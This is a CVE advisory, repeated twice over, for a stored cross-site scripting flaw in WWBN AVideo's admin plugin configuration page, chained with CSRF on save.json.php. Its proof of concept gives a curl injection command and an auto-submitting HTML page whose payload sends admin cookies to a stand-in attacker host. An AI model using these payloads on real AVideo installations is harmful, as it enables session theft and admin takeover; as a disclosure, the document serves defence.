CVE-2026-34396

WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo admin panel renders plugin configuration values in HTML forms without applying htmlspecialchars() or any other output encoding. The jsonToFormElements() function in admin/functions.php directly interpolates user-controlled values into textarea contents, option elements, and input attributes. An attacker who can set a plugin configuration value (either as a compromised admin or by chaining with CSRF on admin/save.json.php) can inject arbitrary JavaScript that executes whenever any administrator visits the plugin configuration page. At time of publication, there are no publicly available patches.

WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo admin panel renders plugin configuration values in HTML forms without applying htmlspecialchars() or any other output encoding. The jsonToFormElements() function in admin/functions.php directly interpolates user-controlled values into textarea contents, option elements, and input attributes. An attacker who can set a plugin configuration value (either as a compromised admin or by chaining with CSRF on admin/save.json.php) can inject arbitrary JavaScript that executes whenever any administrator visits the plugin configuration page. At time of publication, there are no publicly available patches.

Summary

The AVideo admin panel renders plugin configuration values in HTML forms without applying htmlspecialchars() or any other output encoding. The jsonToFormElements() function in admin/functions.php directly interpolates user-controlled values into textarea contents, option elements, and input attributes. An attacker who can set a plugin configuration value (either as a compromised admin or by chaining with CSRF on admin/save.json.php) can inject arbitrary JavaScript that executes whenever any administrator visits the plugin configuration page.

This vulnerability chains with AVI-046 (CSRF on save.json.php) to enable a full cross-origin stored XSS attack against the admin panel without requiring any prior authentication.

Details

The jsonToFormElements() function in admin/functions.php contains multiple unsafe output points where configuration values are rendered without escaping:

Textarea injection (line 47):

// admin/functions.php:47
$html .= "<textarea class='form-control' name='{$name}' id='{$id}'>{$valueJson->value}</textarea>";

The $valueJson->value is placed directly between textarea tags without encoding.

Select option injection (line 55):

// admin/functions.php:55
$html .= "<option value='{$key}' {$select}>{$value}</option>";

Both $key and $value are inserted without encoding, allowing attribute breakout and HTML injection.

Input type and value injection (lines 62-63):

// admin/functions.php:62-63
$html .= "<input class='form-control' type='{$valueJson->type}' value='{$valueJson->value}' name='{$name}' id='{$id}'/>";

Both type and value attributes are unescaped, enabling attribute injection.

Fallback input injection (line 75):

// admin/functions.php:75
$html .= "<input class='form-control' type='text' value='{$valueJson}' name='{$name}' id='{$id}'/>";

The raw $valueJson string is placed into the value attribute without encoding.

Configuration values are saved via admin/save.json.php, which lacks CSRF token validation.

Proof of Concept

Method 1: Direct exploitation (requires admin session)

# Store XSS payload in a plugin configuration value
# The endpoint uses pluginName and direct field names as parameters
curl -b "PHPSESSID=ADMIN_SESSION_COOKIE" \
  -X POST "https://your-avideo-instance.com/admin/save.json.php" \
  -d "pluginName=PlayerSkins&skin=x' onfocus=alert(document.cookie) autofocus='"

When any admin visits the plugin configuration page, the payload fires.

Method 2: Cross-origin chain with CSRF (no authentication required)

Create the following HTML page and trick an admin into visiting it:

<!DOCTYPE html>
<html>
<head><title>AVI-033 + AVI-046 Chain PoC</title></head>
<body>
<h1>Loading...</h1>
<form id="xss" method="POST"
      action="https://your-avideo-instance.com/admin/save.json.php">
  <input type="hidden" name="name" value="Gallery" />
  <input type="hidden" name="parameter" value="description" />
  <input type="hidden" name="value"
         value="' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie) autofocus='" />
</form>
<script>document.getElementById('xss').submit();</script>
</body>
</html>

The payload breaks out of the value attribute in the rendered input element:

<!-- Rendered HTML in admin panel -->
<input class='form-control' type='text'
       value='' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie) autofocus=''
       name='description' id='description'/>

Impact

An attacker can achieve stored cross-site scripting in the AVideo admin panel. When chained with the CSRF vulnerability on save.json.php, this requires zero authentication - the attacker only needs to lure an admin to a malicious page. Once the XSS fires in the admin context, the attacker can:

• Steal admin session cookies and CSRF tokens
• Create new admin accounts
• Modify site configuration (enable file uploads,…

WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo admin panel renders plugin configuration values in HTML forms without applying htmlspecialchars() or any other output encoding. The jsonToFormElements() function in admin/functions.php directly interpolates user-controlled values into textarea contents, option elements, and input attributes. An attacker who can set a plugin configuration value (either as a compromised admin or by chaining with CSRF on admin/save.json.php) can inject arbitrary JavaScript that executes whenever any administrator visits the plugin configuration page. At time of publication, there are no publicly available patches.

WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo admin panel renders plugin configuration values in HTML forms without applying htmlspecialchars() or any other output encoding. The jsonToFormElements() function in admin/functions.php directly interpolates user-controlled values into textarea contents, option elements, and input attributes. An attacker who can set a plugin configuration value (either as a compromised admin or by chaining with CSRF on admin/save.json.php) can inject arbitrary JavaScript that executes whenever any administrator visits the plugin configuration page. At time of publication, there are no publicly available patches.

Summary

The AVideo admin panel renders plugin configuration values in HTML forms without applying htmlspecialchars() or any other output encoding. The jsonToFormElements() function in admin/functions.php directly interpolates user-controlled values into textarea contents, option elements, and input attributes. An attacker who can set a plugin configuration value (either as a compromised admin or by chaining with CSRF on admin/save.json.php) can inject arbitrary JavaScript that executes whenever any administrator visits the plugin configuration page.

This vulnerability chains with AVI-046 (CSRF on save.json.php) to enable a full cross-origin stored XSS attack against the admin panel without requiring any prior authentication.

Details

The jsonToFormElements() function in admin/functions.php contains multiple unsafe output points where configuration values are rendered without escaping:

Textarea injection (line 47):

// admin/functions.php:47
$html .= "<textarea class='form-control' name='{$name}' id='{$id}'>{$valueJson->value}</textarea>";

The $valueJson->value is placed directly between textarea tags without encoding.

Select option injection (line 55):

// admin/functions.php:55
$html .= "<option value='{$key}' {$select}>{$value}</option>";

Both $key and $value are inserted without encoding, allowing attribute breakout and HTML injection.

Input type and value injection (lines 62-63):

// admin/functions.php:62-63
$html .= "<input class='form-control' type='{$valueJson->type}' value='{$valueJson->value}' name='{$name}' id='{$id}'/>";

Both type and value attributes are unescaped, enabling attribute injection.

Fallback input injection (line 75):

// admin/functions.php:75
$html .= "<input class='form-control' type='text' value='{$valueJson}' name='{$name}' id='{$id}'/>";

The raw $valueJson string is placed into the value attribute without encoding.

Configuration values are saved via admin/save.json.php, which lacks CSRF token validation.

Proof of Concept

Method 1: Direct exploitation (requires admin session)

# Store XSS payload in a plugin configuration value
# The endpoint uses pluginName and direct field names as parameters
curl -b "PHPSESSID=ADMIN_SESSION_COOKIE" \
  -X POST "https://your-avideo-instance.com/admin/save.json.php" \
  -d "pluginName=PlayerSkins&skin=x' onfocus=alert(document.cookie) autofocus='"

When any admin visits the plugin configuration page, the payload fires.

Method 2: Cross-origin chain with CSRF (no authentication required)

Create the following HTML page and trick an admin into visiting it:

<!DOCTYPE html>
<html>
<head><title>AVI-033 + AVI-046 Chain PoC</title></head>
<body>
<h1>Loading...</h1>
<form id="xss" method="POST"
      action="https://your-avideo-instance.com/admin/save.json.php">
  <input type="hidden" name="name" value="Gallery" />
  <input type="hidden" name="parameter" value="description" />
  <input type="hidden" name="value"
         value="' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie) autofocus='" />
</form>
<script>document.getElementById('xss').submit();</script>
</body>
</html>

The payload breaks out of the value attribute in the rendered input element:

<!-- Rendered HTML in admin panel -->
<input class='form-control' type='text'
       value='' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie) autofocus=''
       name='description' id='description'/>

Impact

An attacker can achieve stored cross-site scripting in the AVideo admin panel. When chained with the CSRF vulnerability on save.json.php, this requires zero authentication - the attacker only needs to lure an admin to a malicious page. Once the XSS fires in the admin context, the attacker can:

• Steal admin session cookies and CSRF tokens
• Create new admin accounts
• Modify site configuration (enable file uploads,…